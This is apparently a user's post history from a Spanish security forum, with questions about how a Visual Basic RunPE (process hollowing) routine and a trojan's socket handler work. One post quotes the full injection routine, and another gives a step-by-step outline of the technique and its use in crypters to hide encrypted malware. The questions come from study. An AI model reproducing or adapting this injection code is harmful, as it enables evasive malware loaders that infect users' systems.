|
Mostrar Mensajes
|
Páginas: 1 [2]
|
11
|
Seguridad Informática / Análisis y Diseño de Malware / Ayuda con este codigo
|
en: 14 Mayo 2012, 22:56 pm
|
Hola gente llevo tiempo rompiendome la cabeza con el codigo de un RunPE... For i = 0 To Pinh.FileHeader.NumberOfSections - 1 RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish) WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0 Next i Se supone que escribe cada sección en su virtual adress pero acaso el virtualaddress no es el mismo cada vez? O a medida que se llena la estructura de image section header el valor del virtualadress va cambiando apuntando a cada sección cada vez? A ver si pueden ayudarme por favor un saludo y gracias
|
|
|
12
|
Programación / Programación Visual Basic / Duda con este codigo
|
en: 25 Enero 2012, 19:04 pm
|
Hola estoy estudiando el codigo del troyano MFucker y me he encontrado con este codigo que no entiendo como funciona... Alguien sabe como funciona? Private Sub wS_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim data As String wS(Index).GetData data DatosTemporales = DatosTemporales & data If Right(DatosTemporales, 1) = Chr(0) Then While InStr(DatosTemporales, Chr(0)) Dim tempo As String tempo = Mid$(DatosTemporales, 1, InStr(DatosTemporales, Chr(0)) - 1) DatosTemporales = Mid(DatosTemporales, InStr(DatosTemporales, Chr(0)) + 1) Debug.Print "[" & Index & "] << " & tempo ProcesaDatos tempo, Index Wend DatosTemporales = "" End If End Sub
|
|
|
13
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Duda RunPE
|
en: 10 Diciembre 2011, 13:34 pm
|
Asi pues es correcto lo que he dicho no? Para rellenar IMAGE_DOS_HEADER copia los primeros 64 bytes del ejecutable que coinciden con al estructura IMAGE_DOS_HEADER y para rellenar IMAGE_NT_HEADERS copia los siguientes 248 bytes a la estructura IMAGE_DOS_HEADER e_lfanew no?
|
|
|
14
|
Seguridad Informática / Análisis y Diseño de Malware / Duda RunPE
|
en: 10 Diciembre 2011, 12:47 pm
|
Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String) Dim i As Long Dim Pidh As IMAGE_DOS_HEADER Dim Pinh As IMAGE_NT_HEADERS Dim Pish As IMAGE_SECTION_HEADER Dim Si As STARTUPINFO Dim Pi As PROCESS_INFORMATION Dim Ctx As CONTEXT
Si.cb = Len(Si)
RtlMoveMemory Pidh, bvBuff(0), 64 RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
For i = 0 To Pinh.FileHeader.NumberOfSections - 1 RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish) WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0 Next i
Ctx.ContextFlags = CONTEXT_FULL CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx) WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0 Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx) CallAPI "kernel32", "ResumeThread", Pi.hThread End Sub
Buenas estoy estudiando este codigo de un RunPE... Alguien me puede decir que hacen estas instrucciones RtlMoveMemory Pidh, bvBuff(0), 64 RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248 La primera toma los primeros 64 bytes del archivo que coinciden con su cabecera IMAGE_DOS_HEADER no? Y la segunda copia los primeros 248 bytes a partir de la cabecera IMAGE_DOS_HEADER e_lfanew que coincide con la cabecera IMAGE_NT_HEADERS no?
|
|
|
15
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Que es un RunPE?
|
en: 16 Octubre 2011, 11:29 am
|
Buena tarde,Con respecto a las respuestas, todas están erradas, pero vamos no del todo y no es por desmeritarles. En realidad el RunPE obviamente tiene estrecha relación con el Formato PE, pero no es exactamente eso. El famoso RunPE es una técnica la cual permite ejecutar archivos ("on the fly" - Karcrack), es decir sin necesidad de que el archivo ocupe tamaño físico, esto se hace porque el archivo está plasmado en un buffer en memoria. Esta técnica es usada en malware generalmente en Cifradores, los cuales tienen en su cuerpo el archivo cifrado, luego en memoria lo descifran y lo ejecutan, y esto no llamará mucho la atención. Como funciona un RunPE:- Comprobar que es un ejecutable válido (MZ & PE/x0/x0 Signature).
- Crear un nuevo proceso suspendido (Generalmente con el mismo ejecutable).
- Desasignar la proyección del archivo en ese proceso, ImageBase. (Limpiar el ejecutable del proceso).
- Obtener contextos (Registros).
- Reservar en memoria la dirección del ImageBase del ejecutable con un tamaño del campo SizeOfImage. (ImageBase y SizeOfImage del archivo a ejecutar).
- Escribir la cabecera y las secciones alineadas por el campo SectionAlignment.
- Editar EAX en los registros leídos por la dirección del punto de entrada del archivo a ejecutar.
- Editar EBX + 8 por el ImageBase del ejecutable a cargar (Cambiar base de la imagen del nuevo proceso).
- Editar con el nuevo contexto (Escribir registros).
- Iniciar el proceso suspendido.
Un saludo. Buenas reabro el tema porque yo tambien tengo dudas sobre el RunPE... Alguien mas puede arrojar algo mas de luz sobre el tema? Alguien puede explicarme que se entiende por obtener los contextos de un proceso? Tampoco entiendo porque hay que editar el ebx+8...
|
|
|
|
|
|
|